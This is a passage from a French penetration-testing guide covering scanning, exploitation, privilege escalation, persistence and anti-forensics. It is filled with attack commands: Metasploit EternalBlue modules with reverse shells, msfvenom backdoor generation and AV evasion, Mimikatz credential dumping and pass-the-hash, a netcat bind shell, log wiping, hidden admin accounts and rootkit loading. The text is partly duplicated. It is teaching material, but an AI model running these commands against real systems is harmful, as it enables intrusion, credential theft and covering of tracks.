

Le scanning de ports permet de déterminer quels ports sur un hôte sont ouverts, fermés ou filtrés. Les outils comme Nmap sont couramment utilisés pour cette tâche.

- **Types de Scans de Ports :**

- **Scan TCP Connect** : Utilise une connexion complète pour vérifier les ports ouverts.
- **Scan SYN (Half-open)** : Envoie des paquets SYN et attend les réponses SYN/ACK.
- **Scan UDP** : Vérifie les ports UDP ouverts.

- **Exemple d'Utilisation de Nmap :**

```
nmap -sS -p 1-65535 192.168.1.1
```

- Cette commande effectue un scan SYN sur tous les ports de l'hôte cible.

Scanning de Vulnérabilités

Le scanning de vulnérabilités est utilisé pour identifier les failles de sécurité sur les systèmes cibles. Des outils comme OpenVAS et Nessus sont conçus pour cette tâche.

- **Exemple d'Utilisation d'OpenVAS :**

- Configurer et lancer un scan de vulnérabilités via l'interface utilisateur.
- Analyser les résultats pour identifier les vulnérabilités exploitables.

Scanning de Réseau

Le scanning de réseau permet de découvrir les hôtes actifs et leurs adresses IP sur un réseau. Nmap et Angry IP Scanner sont des outils populaires pour cette tâche.

- **Exemple de Commande Nmap :**

```
nmap -sn 192.168.1.0/24
```

- Cette commande effectue un scan ping sur le réseau spécifié pour identifier les hôtes actifs.

2.3 Techniques d'Énumération

smbclient -L \\192.168.1.1

Énumération des Réseaux

Cette technique permet d'identifier les sous-réseaux et les dispositifs connectés à un réseau. arp-scan et nbtscan sont des outils couramment utilisés pour cette tâche.

- **Exemple de Commande arp-scan :**

arp-scan -l

- **Exemple de Commande nbtscan :**

nbtscan 192.168.1.0/24

2.4 Outils de Scanning et d'Énumération

Nmap

Nmap (Network Mapper) est l'outil de scanning de réseau le plus populaire. Il offre une gamme de fonctionnalités pour le scanning des ports, la détection de services, la découverte des hôtes, et bien plus encore.

- **Fonctionnalités Clés :**
 - Scanning des ports (TCP/UDP).
 - Détection des versions de services.
 - Détection des systèmes d'exploitation.
 - Scripts NSE (Nmap Scripting Engine) pour des scans avancés.
- **Exemple de Script NSE pour Nmap :**

nmap --script vuln 192.168.1.1

Nessus

Nessus est un scanner de vulnérabilités puissant qui peut identifier une vaste gamme de failles de sécurité sur les systèmes et réseaux cibles.

- **Fonctionnalités Clés :**
 - Scanning des vulnérabilités.
 - Rapports détaillés.
 - Automatisation des scans.

- **Exemple d'Utilisation de Nessus :**

- Lancer un scan et analyser les résultats pour des vulnérabilités spécifiques.

Nikto

Nikto est un scanner de serveurs web qui recherche des vulnérabilités, des fichiers mal configurés, et d'autres problèmes de sécurité.

- **Fonctionnalités Clés :**

- Scanning des serveurs web pour des vulnérabilités.
- Détection de fichiers et de répertoires potentiellement dangereux.

- **Exemple de Commande Nikto :**

```
nikto -h http://192.168.1.1
```

Metasploit Framework

Metasploit est un framework de développement et d'exécution d'exploits qui inclut des modules pour le scanning et l'énumération.

- **Fonctionnalités Clés :**

- Modules de scanning pour identifier les vulnérabilités.
- Scripts d'énumération pour découvrir des informations sur la cible.

- **Exemple d'Utilisation de Metasploit :**

```
msfconsole
```

```
use auxiliary/scanner/smb/smb_version
```

```
set RHOSTS 192.168.1.1
```

```
run
```


2.5 Techniques Avancées de Scanning et d'Énumération

Scanning de Vulnérabilités Web avec Burp Suite

Burp Suite est un outil d'analyse et de test de sécurité des applications web qui permet de découvrir des vulnérabilités.

- **Fonctionnalités Clés :**
 - Scanning automatisé des applications web.
 - Proxy HTTP pour l'analyse manuelle.
- **Exemple d'Utilisation de Burp Suite :**
 - Configurer Burp Suite comme proxy et lancer un scan complet d'une application web.

Énumération des Réseaux avec Shodan

Shodan est un moteur de recherche pour les dispositifs connectés à Internet. Il permet d'identifier des serveurs, des caméras IP, des routeurs et d'autres dispositifs exposés.

- **Fonctionnalités Clés :**
 - Recherche de dispositifs exposés sur Internet.
 - Identification des services et des versions.
- **Exemple de Recherche Shodan :**

```
shodan search "default password"
```

Conclusion

Le scanning et l'énumération sont des étapes essentielles pour identifier et comprendre les vulnérabilités potentielles dans les systèmes cibles. En utilisant des outils et des techniques appropriés, les hackers peuvent recueillir des informations détaillées et élaborer des stratégies d'attaque efficaces. La pratique et la familiarisation avec ces outils et techniques permettront aux hackers éthiques d'améliorer leurs compétences et de contribuer à la sécurité des réseaux et des systèmes.

3. Exploitation des Vulnérabilités

L'exploitation des vulnérabilités est l'une des phases les plus cruciales du hacking, où les failles identifiées lors des étapes de reconnaissance, de scanning et d'énumération sont activement exploitées pour obtenir un accès non autorisé à des systèmes, des applications ou des réseaux. Cette section explorera diverses techniques et outils utilisés pour exploiter les vulnérabilités de manière efficace et éthique.

3.1 Introduction à l'Exploitation des Vulnérabilités

Exploiter des vulnérabilités implique d'utiliser des failles de sécurité dans les logiciels, les systèmes d'exploitation, ou les configurations réseau pour pénétrer un système cible. Les vulnérabilités peuvent être des erreurs de programmation, des failles de configuration, ou des défauts de conception. La maîtrise de cette phase nécessite une compréhension approfondie des systèmes cibles et des techniques d'exploitation.

3.2 Types de Vulnérabilités

Les vulnérabilités peuvent être classées en plusieurs catégories en fonction de leur nature et de leur impact. Comprendre ces catégories est essentiel pour choisir la méthode d'exploitation appropriée.

Vulnérabilités Logicielles

Les vulnérabilités logicielles sont des failles dans le code source des applications. Elles peuvent inclure des erreurs de programmation, des dépassements de tampon, et des injections de code.

- **Dépassement de Tampon (Buffer Overflow)** : Se produit lorsqu'un programme écrit plus de données dans un tampon que ce que le tampon peut contenir, permettant ainsi l'exécution de code arbitraire.

```
void vulnerable_function(char *str) {  
  
    char buffer[16];  
  
    strcpy(buffer, str);  
  
}
```


- **Injection SQL** : Une technique où un attaquant injecte des commandes SQL malveillantes dans un champ d'entrée.

```
SELECT * FROM users WHERE username = 'admin' --' AND password = 'password';
```

Vulnérabilités Systèmes

Les vulnérabilités systèmes se trouvent dans les systèmes d'exploitation et les composants réseau. Elles peuvent inclure des failles de configuration, des services mal sécurisés, et des défauts de gestion des privilèges.

- **Failles de Configuration** : Des paramètres de configuration incorrects peuvent ouvrir des portes aux attaquants. Par exemple, des permissions incorrectes sur des fichiers critiques.

```
chmod 777 /etc/shadow
```

- **Services Non Sécurisés** : Les services réseau qui ne sont pas correctement sécurisés peuvent être exploités pour accéder à des systèmes.

```
telnet 192.168.1.1
```

Vulnérabilités Réseaux

Les vulnérabilités réseau se trouvent dans les équipements et protocoles réseau. Elles peuvent inclure des failles dans les routeurs, les pare-feu, et les protocoles de communication.

- **Attaques Man-in-the-Middle (MitM)** : Impliquent l'interception et la modification des communications entre deux parties.

```
ettercap -T -q -M arp:remote /192.168.1.1// /192.168.1.2//
```

- **Failles dans les Protocoles** : Les protocoles réseau mal conçus peuvent être exploités pour des attaques.

```
sslststrip -l 8080
```

3.3 Techniques d'Exploitation

- **Injection SQL** : Une technique où un attaquant injecte des commandes SQL malveillantes dans un champ d'entrée.

```
SELECT * FROM users WHERE username = 'admin' --' AND password = 'password';
```

Vulnérabilités Systèmes

Les vulnérabilités systèmes se trouvent dans les systèmes d'exploitation et les composants réseau. Elles peuvent inclure des failles de configuration, des services mal sécurisés, et des défauts de gestion des privilèges.

- **Failles de Configuration** : Des paramètres de configuration incorrects peuvent ouvrir des portes aux attaquants. Par exemple, des permissions incorrectes sur des fichiers critiques.

```
chmod 777 /etc/shadow
```

- **Services Non Sécurisés** : Les services réseau qui ne sont pas correctement sécurisés peuvent être exploités pour accéder à des systèmes.

```
telnet 192.168.1.1
```

Vulnérabilités Réseaux

Les vulnérabilités réseau se trouvent dans les équipements et protocoles réseau. Elles peuvent inclure des failles dans les routeurs, les pare-feu, et les protocoles de communication.

- **Attaques Man-in-the-Middle (MitM)** : Impliquent l'interception et la modification des communications entre deux parties.

```
ettercap -T -q -M arp:remote /192.168.1.1// /192.168.1.2//
```

- **Failles dans les Protocoles** : Les protocoles réseau mal conçus peuvent être exploités pour des attaques.

```
sslstrip -l 8080
```

3.3 Techniques d'Exploitation

Diverses techniques peuvent être utilisées pour exploiter des vulnérabilités. Chaque technique est adaptée à un type spécifique de vulnérabilité et nécessite des outils et des compétences spécifiques.

Exploitation des Dépassements de Tampon

Les dépassements de tampon peuvent permettre l'exécution de code arbitraire en écrasant les adresses de retour dans la pile d'exécution.

- **Exemple d'Exploitation :**
 - Identifiez le point de dépassement de tampon.
 - Injectez un payload qui redirige l'exécution vers un shellcode.

Exploitation des Injections SQL

Les injections SQL peuvent être utilisées pour contourner l'authentification, accéder aux bases de données et exécuter des commandes arbitraires.

- **Exemple d'Exploitation :**
 - Trouvez un point d'injection dans une requête SQL.
 - Injectez des commandes SQL malveillantes pour extraire des données ou modifier la base de données.

Exploitation des Failles XSS (Cross-Site Scripting)

Les failles XSS permettent aux attaquants d'injecter des scripts malveillants dans les pages web vues par d'autres utilisateurs.

- **Exemple d'Exploitation :**
 - Identifiez un point d'injection XSS dans une page web.
 - Injectez un script malveillant qui vole des cookies ou redirige les utilisateurs vers une page de phishing.

Exploitation des Failles CSRF (Cross-Site Request Forgery)

Les attaques CSRF exploitent la confiance qu'un site web a envers le navigateur d'un utilisateur. Elles permettent de réaliser des actions non autorisées à l'insu de l'utilisateur.

- **Exemple d'Exploitation :**
 - Créez un formulaire HTML qui envoie une requête malveillante.
 - Induisez l'utilisateur à soumettre le formulaire pendant qu'il est authentifié sur le site cible.

Exploitation des Failles de Configuration

Les failles de configuration peuvent inclure des permissions incorrectes, des mots de passe par défaut, et des services non sécurisés.

- **Exemple d'Exploitation :**
 - Trouvez des fichiers sensibles avec des permissions incorrectes.
 - Accédez à ces fichiers pour extraire des informations sensibles ou obtenir un accès supplémentaire.

3.4 Outils d'Exploitation

Plusieurs outils sont disponibles pour exploiter les vulnérabilités. Ces outils sont souvent inclus dans les distributions de tests de pénétration comme Kali Linux.

Metasploit Framework

Metasploit est un framework open-source utilisé pour le développement et l'exécution d'exploits. Il comprend une vaste base de données d'exploits, de payloads, et de modules auxiliaires.

- **Fonctionnalités Clés :**
 - Modules d'exploits pour différentes vulnérabilités.
 - Payloads personnalisables.
 - Outils de post-exploitation.
- **Exemple d'Utilisation de Metasploit :**

```
msfconsole
```

```
use exploit/windows/smb/ms08_067_netapi
```

```
set RHOST 192.168.1.1
```

```
set PAYLOAD windows/meterpreter/reverse_tcp
```

```
set LHOST 192.168.1.2
```

```
run
```

Burp Suite

Burp Suite est une plate-forme intégrée utilisée pour la sécurité des applications web. Elle offre des outils pour l'analyse, le scanning et l'exploitation des vulnérabilités web.

- **Fonctionnalités Clés :**
 - Interception et modification des requêtes HTTP.
 - Scanner automatique de vulnérabilités.
 - Outils d'exploration manuelle.
- **Exemple d'Utilisation de Burp Suite :**
 - Configurer Burp Suite comme proxy.
 - Intercepter et modifier les requêtes pour injecter des scripts malveillants.

SQLMap

SQLMap est un outil open-source qui automatise la détection et l'exploitation des injections SQL.

- **Fonctionnalités Clés :**
 - Détection automatique des injections SQL.
 - Extraction de bases de données.
 - Exécution de commandes sur le serveur.
- **Exemple d'Utilisation de SQLMap :**

```
sqlmap -u "http://example.com/vuln.php?id=1" --dbs
```

Exploit-DB

Exploit-DB est une base de données en ligne d'exploits. Elle offre une vaste collection d'exploits pour différents logiciels et systèmes.

- **Fonctionnalités Clés :**
 - Recherche et téléchargement d'exploits.
 - Documentation sur les vulnérabilités et les techniques d'exploitation.
- **Exemple d'Utilisation de Exploit-DB :**
 - Recherchez un exploit pour une application spécifique.
 - Téléchargez et modifiez l'exploit pour l'adapter à votre cible.

3.5 Techniques Avancées d'Exploitation

Les techniques avancées d'exploitation impliquent une compréhension approfondie des vulnérabilités et des méthodes pour contourner les mesures

de sécurité.

Bypass des Dépassements de Tampon avec ASLR et DEP

L'Address Space Layout Randomization (ASLR) et la Data Execution Prevention (DEP) sont des techniques de protection utilisées pour prévenir les dépassements de tampon.

- **Techniques de Bypass :**
 - Utilisation de Return Oriented Programming (ROP) pour contourner DEP.
 - Fuzzing pour trouver des points d'injection exploitables malgré ASLR.

Exploitation des Failles de Réseau avec Mimikatz

Mimikatz est un outil puissant utilisé principalement pour l'extraction des informations d'identification sur les systèmes Windows. Il permet aux attaquants de récupérer des mots de passe en clair, des hash NTLM, des tickets Kerberos, et d'autres informations sensibles stockées en mémoire.

Fonctionnalités Clés de Mimikatz :

- Extraction de mots de passe en clair à partir de la mémoire.
- Dump des hash NTLM des utilisateurs locaux.
- Exploitation des tickets Kerberos pour les attaques Pass-the-Ticket.
- Dump des informations du cache de sessions Windows.

Exemple d'Utilisation de Mimikatz :

1. Dump des Mots de Passe en Clair :

```
mimikatz # privilege::debug
```

```
mimikatz # sekurlsa::logonpasswords
```

2. Dump des Hash NTLM :

```
mimikatz # privilege::debug
```

```
mimikatz # lsadump::sam
```

3. Exploitation des Tickets Kerberos :

```
mimikatz # kerberos::list /export
```

4. Dump du Cache de Sessions :

```
mimikatz # sekurlsa::tickets
```

Techniques d'Attaque :

- **Pass-the-Hash** : Utilisation des hash NTLM pour s'authentifier sur d'autres systèmes sans connaître le mot de passe.

```
mimikatz # sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:  
<hash>
```

- **Pass-the-Ticket** : Utilisation des tickets Kerberos extraits pour s'authentifier sur des systèmes en tant qu'utilisateur légitime.

```
mimikatz # kerberos::ptt <ticket.kirbi>
```

Attaques de Lateral Movement

Les attaques de mouvement latéral permettent aux attaquants de se déplacer à travers le réseau, en compromettant plusieurs systèmes pour atteindre des objectifs spécifiques comme l'accès aux serveurs critiques ou aux données sensibles.

Techniques de Mouvement Latéral :

- **Exploitation de RDP (Remote Desktop Protocol)** : Utilisation des informations d'identification récupérées pour se connecter à des systèmes distants via RDP.

```
rdesktop -u Administrator -p password 192.168.1.10
```

- **Utilisation de PsExec** : Un outil pour exécuter des commandes sur des systèmes distants via SMB.

```
psexec \\192.168.1.10 -u Administrator -p password cmd.exe
```

- **Exploitation des Partages de Réseau** : Accès aux partages de fichiers mal configurés pour extraire des données sensibles.

```
net use Z: \\192.168.1.10\share /user:Administrator password
```


- **Abus des Scripts de Connexion** : Modification des scripts de connexion pour exécuter des commandes malveillantes lors de la connexion des utilisateurs.

```
echo "malicious_command" >> \\domain_controller\netlogon\logon.bat
```

3.6 Techniques de Post-Exploitation

Une fois qu'un système est compromis, il est important de maintenir l'accès, de collecter des informations supplémentaires, et de préparer le terrain pour des exploits futurs.

Maintien de l'Accès :

- **Backdoors** : Installation de portes dérobées pour un accès futur.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip>  
LPORT=<attacker_port> -f exe > backdoor.exe
```

- **Tunneling** : Utilisation de tunneling pour masquer les connexions réseau malveillantes.

```
ssh -L 8080:target_ip:80 user@jump_host
```

- **Persistence** : Modification des clés de registre ou des tâches planifiées pour maintenir la persistance sur le système compromis.

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v  
MyMalware /t REG_SZ /d "C:\path\to\malware.exe"
```

Collecte d'Informations :

- **Keylogging** : Installation de keyloggers pour enregistrer les frappes au clavier des utilisateurs.

```
meterpreter > keyscan_start
```

- **Captures d'Écran** : Prise de captures d'écran pour surveiller les activités des utilisateurs.

```
meterpreter > screenshot
```

Dump des Bases de Données : Extraction des bases de données pour accéder à des informations sensibles.

```
sqlmap -u "http://example.com/vuln.php?id=1" --dump-all
```

Couverture des Traces :

- **Effacement des Logs** : Suppression des fichiers journaux pour masquer les activités malveillantes.

```
meterpreter > clearev
```

- **Modification des Horodatages** : Changement des horodatages des fichiers pour éviter de déclencher des alertes.

```
touch -t 202001010000.00 /path/to/malicious_file
```

- **Désactivation des Solutions de Sécurité** : Désactivation des antivirus et des solutions de détection d'intrusion pour éviter la détection.

```
sc stop AV_Service
```

3.7 Études de Cas d'Exploitation

Analyser des études de cas réelles aide à comprendre comment les techniques et les outils décrits précédemment sont appliqués dans des scénarios du monde réel. Voici quelques exemples d'attaques célèbres :

WannaCry Ransomware :

- **Vulnérabilité Exploitée** : MS17-010 (EternalBlue) dans le protocole SMB de Windows.
- **Méthode d'Exploitation** : Utilisation de l'exploit EternalBlue pour se propager à travers les réseaux.
- **Impact** : Chiffrement des fichiers des utilisateurs et demande de rançon pour la clé de déchiffrement.
- **Leçons Apprises** : Importance de maintenir les systèmes à jour et de segmenter les réseaux pour limiter la propagation des malwares.

Heartbleed :

- **Vulnérabilité Exploitée** : Faille dans la bibliothèque OpenSSL (CVE-2014-0160).
- **Méthode d'Exploitation** : Extraction des données sensibles depuis la mémoire des serveurs vulnérables.
- **Impact** : Exposition des informations sensibles telles que les clés privées, les identifiants, et les données personnelles.
- **Leçons Apprises** : Importance de la gestion des vulnérabilités et de la mise en œuvre de correctifs de sécurité.

Stuxnet :

- **Vulnérabilité Exploitée** : Multiples failles zero-day dans les systèmes SCADA.
- **Méthode d'Exploitation** : Utilisation de logiciels malveillants sophistiqués pour saboter les centrifugeuses nucléaires.
- **Impact** : Dommages significatifs aux installations nucléaires iraniennes.
- **Leçons Apprises** : Besoin de sécurité renforcée pour les systèmes industriels et critiques.

Conclusion

L'exploitation des vulnérabilités est une phase complexe et critique du hacking qui nécessite des compétences avancées et une compréhension approfondie des systèmes cibles. En utilisant les techniques et les outils décrits dans cette section, les hackers peuvent exploiter les failles de sécurité pour atteindre leurs objectifs, tout en agissant de manière éthique et responsable dans le cadre des tests d'intrusion. La pratique continue et l'apprentissage des nouvelles vulnérabilités et des techniques d'exploitation sont essentiels pour rester à jour dans ce domaine en constante évolution.

4. Élévation de Privilèges

L'élévation de privilèges est une étape essentielle dans de nombreuses attaques informatiques. Elle consiste à obtenir des droits ou des accès supplémentaires sur un système cible au-delà de ceux initialement acquis. Cette section explore les différentes techniques et méthodes pour élever les privilèges, les outils utilisés, ainsi que les mesures de prévention et de détection.

4.1 Introduction à l'Élévation de Privilèges

L'élévation de privilèges peut se produire dans deux contextes principaux : local et distant. Dans un contexte local, l'attaquant cherche à obtenir des privilèges plus élevés sur une machine sur laquelle il a déjà un accès limité. Dans un contexte distant, l'attaquant exploite des failles sur un système accessible via le réseau pour obtenir des privilèges administratifs.

Pourquoi Élever des Privilèges ?

- **Accès à des ressources restreintes** : Pour accéder à des fichiers, des bases de données ou des services protégés.
- **Déploiement de logiciels malveillants** : Pour installer des backdoors ou des rootkits avec des privilèges élevés.
- **Escalade des attaques** : Pour étendre l'impact de l'attaque sur d'autres systèmes connectés au réseau.

4.2 Techniques d'Élévation de Privilèges Locales

Exploitation des Failles Logicielles

Les vulnérabilités dans les logiciels peuvent souvent être exploitées pour élever les privilèges. Voici quelques exemples courants :

- **Dépassement de Tampon (Buffer Overflow)** : Peut permettre à un attaquant d'exécuter du code arbitraire avec des privilèges élevés.

```
#include <stdio.h>

#include <string.h>

void vulnerable_function(char *str) {
    char buffer[16];
    strcpy(buffer, str);
}

int main() {
    char large_string[256];
    memset(large_string, 'A', 255);
    large_string[255] = '\0';
```



```
vulnerable_function(large_string);  
return 0;  
}
```

- **Exploits Kernel** : Les vulnérabilités dans le noyau du système d'exploitation peuvent donner un accès root ou système.

```
gcc -o exploit exploit.c
```

```
./exploit
```

Exploitation des Failles de Configuration

Les erreurs de configuration peuvent fournir des opportunités d'élévation de privilèges. Voici quelques exemples :

- **Permissions Incorrectes** : Fichiers critiques ou répertoires avec des permissions excessives.

```
chmod 777 /etc/passwd
```

- **Mots de Passe Par Défaut** : Utilisation de mots de passe par défaut ou faibles pour les comptes administratifs.

```
ssh root@target -p defaultpassword
```

Techniques de Social Engineering

Le social engineering peut également jouer un rôle dans l'élévation de privilèges. Cela peut inclure la manipulation des utilisateurs pour qu'ils fournissent des informations sensibles ou qu'ils exécutent des actions compromettantes.

- **Phishing** : Création de faux e-mails ou sites web pour voler des informations d'identification.

```
setoolkit
```

- **Pretexting** : Se faire passer pour une personne de confiance pour obtenir des informations sensibles.

4.3 Techniques d'Élévation de Privilèges Distantes

Exploitation des Vulnérabilités Réseaux

Les failles dans les protocoles réseau ou les services peuvent être exploitées pour obtenir des privilèges élevés à distance.

- **Failles dans les Services Exposés** : Exploitation des failles dans les services comme FTP, SSH, ou SMB.

```
nmap -sV -p 21,22,445 target
```

```
searchsploit vsftpd
```

- **Injection de Commandes** : Utilisation des injections de commandes pour obtenir un shell avec des privilèges élevés.

```
curl -X POST -d "cmd=whoami" http://target/cgi-bin/vuln.cgi
```

Utilisation des Exploits Métasploit

Metasploit Framework offre une vaste collection de modules d'exploitation pour élever les privilèges à distance.

- **Exploitation de SMB** :

```
msfconsole
```

```
use exploit/windows/smb/ms17_010_eternalblue
```

```
set RHOST target
```

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```
run
```

- **Exploitation de SSH** :

```
msfconsole
```


use exploit/unix/ssh/sshexec

set RHOST target

set USERNAME root

set PASSWORD password

run

Pass-the-Hash et Pass-the-Ticket

Ces techniques permettent aux attaquants d'utiliser des informations d'identification volées pour accéder à d'autres systèmes sur le réseau.

- **Pass-the-Hash :**

psexec.py target -hashes :<hash> administrator@target

- **Pass-the-Ticket :**

mimikatz # kerberos::ptt <ticket.kirbi>

4.4 Outils d'Élévation de Privilèges

Windows

- **Mimikatz** : Un outil open-source pour manipuler les informations d'identification de Windows.

mimikatz # privilege::debug

mimikatz # sekurlsa::logonpasswords

- **Metasploit** : Contient des modules spécifiques pour l'élévation de privilèges.

msfconsole

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc

set SESSION 1

run

- **PowerSploit** : Une suite d'outils PowerShell pour les tests d'intrusion.

Import-Module PowerSploit

Invoke-MS16-032

Linux

- **Linux Exploit Suggester** : Un outil qui suggère des exploits basés sur la version du noyau Linux.

./linux-exploit-suggester.sh

- **LinEnum** : Un script de reconnaissance pour les tests d'élévation de privilèges sous Linux.

./LinEnum.sh

GTFOBins : Une collection de commandes Unix et Linux utilisées pour élever les privilèges.

sudo awk 'BEGIN {system("/bin/sh")}'

4.5 Mesures de Prévention et de Détection

Prévention

- **Mise à Jour et Patching** : Assurer que tous les logiciels et systèmes d'exploitation sont régulièrement mis à jour et corrigés.

apt-get update && apt-get upgrade

chmod 640 /etc/shadow

- **Configuration Sécurisée** : Mettre en place des configurations sécurisées pour les systèmes et les applications.

chmod 640 /etc/shadow

- **Utilisation des Solutions de Sécurité** : Déployer des antivirus, des EDR (Endpoint Detection and Response), et des solutions de détection des intrusions.

apt-get install clamav

- **Segmentation du Réseau** : Segmenter les réseaux pour limiter les mouvements latéraux en cas de compromission.

iptables -A INPUT -p tcp --dport 22 -s trusted_network -j ACCEPT

Détection

- **Surveillance des Journaux** : Analyser régulièrement les journaux des systèmes pour détecter des activités suspectes.

tail -f /var/log/auth.log

- **Détection des Anomalies** : Utiliser des systèmes de détection d'anomalies pour identifier les comportements inhabituels.

ps -aux | grep suspicious_process

- **Audit de Sécurité** : Réaliser des audits de sécurité réguliers pour identifier et corriger les vulnérabilités.

lynis audit system

- **Alertes de Sécurité** : Mettre en place des alertes pour notifier les administrateurs en cas de détection d'activités suspectes.

ossec-control enable

Conclusion

L'élévation de privilèges est une technique puissante et couramment utilisée par les attaquants pour obtenir un contrôle plus important sur les systèmes compromis. En comprenant les différentes méthodes et outils disponibles pour élever les privilèges, ainsi que les mesures de prévention et de

détection, les professionnels de la sécurité peuvent mieux protéger leurs systèmes contre ces types d'attaques. La vigilance continue et l'adaptation aux nouvelles menaces sont essentielles pour maintenir un environnement sécurisé.

5. Maintien de l'Accès et Discrétion

Une fois que l'attaquant a réussi à pénétrer un système et à élever ses privilèges, il doit s'assurer de maintenir son accès tout en restant discret pour éviter la détection. Cette section explore les techniques et les outils utilisés pour maintenir un accès persistant et pour dissimuler les activités malveillantes, garantissant ainsi la longévité de l'intrusion.

5.1 Introduction au Maintien de l'Accès et à la Discrétion

Le maintien de l'accès implique la mise en place de backdoors et d'autres mécanismes qui permettent à l'attaquant de revenir sur le système sans être détecté. La discrétion, quant à elle, se concentre sur l'évasion des systèmes de détection et la minimisation des traces laissées par l'attaquant.

Pourquoi Maintenir l'Accès ?

- **Continuation de l'Exploitation** : Pour continuer à extraire des données ou utiliser les ressources du système.
- **Propagation** : Pour utiliser le système compromis comme point de départ pour attaquer d'autres systèmes.
- **Surveillance** : Pour surveiller les activités du réseau cible et récolter des informations supplémentaires.

5.2 Techniques de Maintien de l'Accès

Backdoors

Les backdoors sont des mécanismes cachés permettant un accès non autorisé à un système. Voici quelques techniques courantes pour installer des backdoors :

- **Création d'Utilisateurs Cachés** : Ajouter des comptes d'utilisateur avec des privilèges élevés qui ne sont pas

facilement détectables.

```
net user hiddenuser P@ssw0rd /add
```

```
net localgroup administrators hiddenuser /add
```

- **Modification des Services Système** : Installer des services malveillants qui redémarrent automatiquement.

```
sc create MaliciousService binPath= "cmd.exe /c start c:\\malicious.exe"
```

- **Injections de DLL** : Injecter des DLL malveillantes dans des processus légitimes pour assurer la persistance.

```
rundll32.exe mymalicious.dll,InstallBackdoor
```

Rootkits

Les rootkits sont des ensembles de logiciels conçus pour dissimuler la présence d'autres logiciels malveillants. Ils modifient souvent le noyau du système d'exploitation pour masquer des fichiers, des processus, et des connexions réseau.

- **Rootkits en Mode Utilisateur** : Masquent des processus et des fichiers en modifiant les bibliothèques du système.

```
LD_PRELOAD=/path/to/rootkit.so ./legit_binary
```

- **Rootkits en Mode Noyau** : Fournissent un contrôle complet du noyau et sont plus difficiles à détecter et à supprimer.

```
insmod /path/to/rootkit.ko
```

Persistence via Planificateurs de Tâches

Utiliser les planificateurs de tâches pour exécuter des scripts malveillants à des intervalles réguliers.

- **Windows Task Scheduler** :

```
schtasks /create /tn "SystemCheck" /tr "cmd.exe /c start c:\\malicious.exe"  
/sc minute /mo 5
```

- **Cron Jobs sous Linux :**

```
(crontab -l ; echo "*/5 * * * * /path/to/malicious.sh") | crontab -
```

5.3 Techniques de Discrétion

Effacement des Traces

Pour éviter la détection, les attaquants doivent effacer les traces de leurs activités :

- **Effacement des Logs :** Supprimer ou modifier les journaux système pour éliminer les preuves d'intrusion.

```
echo > /var/log/auth.log
```

```
echo > /var/log/syslog
```

- **Anti-Forensics :** Techniques pour empêcher la récupération des données effacées.

```
shred -u /path/to/file
```

Utilisation des Outils de Discrétion

Il existe des outils spécialement conçus pour aider les attaquants à rester discrets :

- **Metasploit Meterpreter :** Un shell avancé qui inclut des fonctionnalités pour masquer les processus et les connexions.

```
meterpreter > clearev
```

```
meterpreter > timestomp -t "2010-01-01 00:00:00" -f /path/to/file
```

- **netcat :** Utilisé pour créer des connexions cachées.

```
nc -lvp 4444 -e /bin/bash
```

- **Proxies et Tunnels :** Utilisation de tunnels chiffrés pour masquer le trafic malveillant.

```
ssh -D 8080 user@remotehost
```


5.4 Maintien de l'Accès sur les Réseaux

Persistence dans les Environnements Windows

- **WMI Persistence** : Utilisation de Windows Management Instrumentation (WMI) pour exécuter des scripts malveillants.

```
wmic /namespace:\\root\\subscription PATH __EventFilter CREATE  
Name="Updater", EventNameSpace="Root\\Cimv2",  
QueryLanguage="WQL", Query="SELECT * FROM  
__InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA  
'Win32_PerfFormattedData_PerfOS_System'"
```

- **Registry Run Keys** : Ajouter des entrées dans le registre pour exécuter des programmes au démarrage.

```
reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v  
updater /t REG_SZ /d c:\\\\malicious.exe
```

Persistence dans les Environnements Linux

- **Init Scripts** : Modifier les scripts de démarrage pour inclure des backdoors.

```
echo "/path/to/malicious.sh" >> /etc/rc.local
```

- **Service Units systemd** : Créer des unités de service pour lancer des logiciels malveillants.

```
echo "[Unit]
```

```
Description=Malicious Service
```

```
[Service]
```

```
ExecStart=/path/to/malicious.sh
```

```
[Install]
```

```
WantedBy=multi-user.target" > /etc/systemd/system/malicious.service
```

systemctl enable malicious.service

5.5 Techniques d'Évasion et de Détournement

Évasion des Détections Antivirus

Les attaquants utilisent plusieurs techniques pour échapper aux détections antivirus et aux EDR :

- **Polymorphisme** : Modifier régulièrement le code du malware pour éviter les signatures.

```
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10  
-f exe > payload.exe
```

- **Crypters** : Utiliser des outils qui chiffrent les malwares pour contourner les analyses heuristiques.

```
python veil-evasion.py
```

Détournement des Appels Système

Le détournement des appels système permet de modifier le comportement du noyau pour masquer des activités malveillantes.

- **Hooking des API** : Interceptor et modifier les appels aux fonctions système pour masquer les activités.

```
LD_PRELOAD=/path/to/hook.so ./legit_binary
```

- **Utilisation de Inline Hooking** : Modifier le code des fonctions système en mémoire pour détourner les appels.

```
original_function = dlsym(RTLD_NEXT, "target_function");
```

```
mprotect(...); // Change memory protection
```

```
memcpy(...); // Write hook
```

Conclusion

Le maintien de l'accès et la discrétion sont des éléments cruciaux pour la réussite à long terme d'une attaque. En utilisant des techniques avancées pour installer des backdoors, effacer les traces et échapper aux systèmes de détection, les attaquants peuvent continuer à exploiter les systèmes compromis de manière durable et efficace. Toutefois, les professionnels de la sécurité peuvent contrer ces techniques en mettant en place des mesures de détection proactive, en effectuant des audits de sécurité réguliers et en restant vigilants face aux nouvelles menaces.

Hacking Éthique et Test d'Intrusion

1. Qu'est-ce que le Hacking Éthique ?

Le hacking éthique est une pratique de la cybersécurité visant à identifier et corriger les vulnérabilités des systèmes informatiques en utilisant les mêmes techniques que les attaquants malveillants, mais avec un objectif légitime et autorisé. Ce chapitre examine en détail ce qu'est le hacking éthique, ses objectifs, les responsabilités des hackers éthiques, et les distinctions clés entre hacking éthique et hacking malveillant.

1.1 Définition et Objectifs du Hacking Éthique

Définition

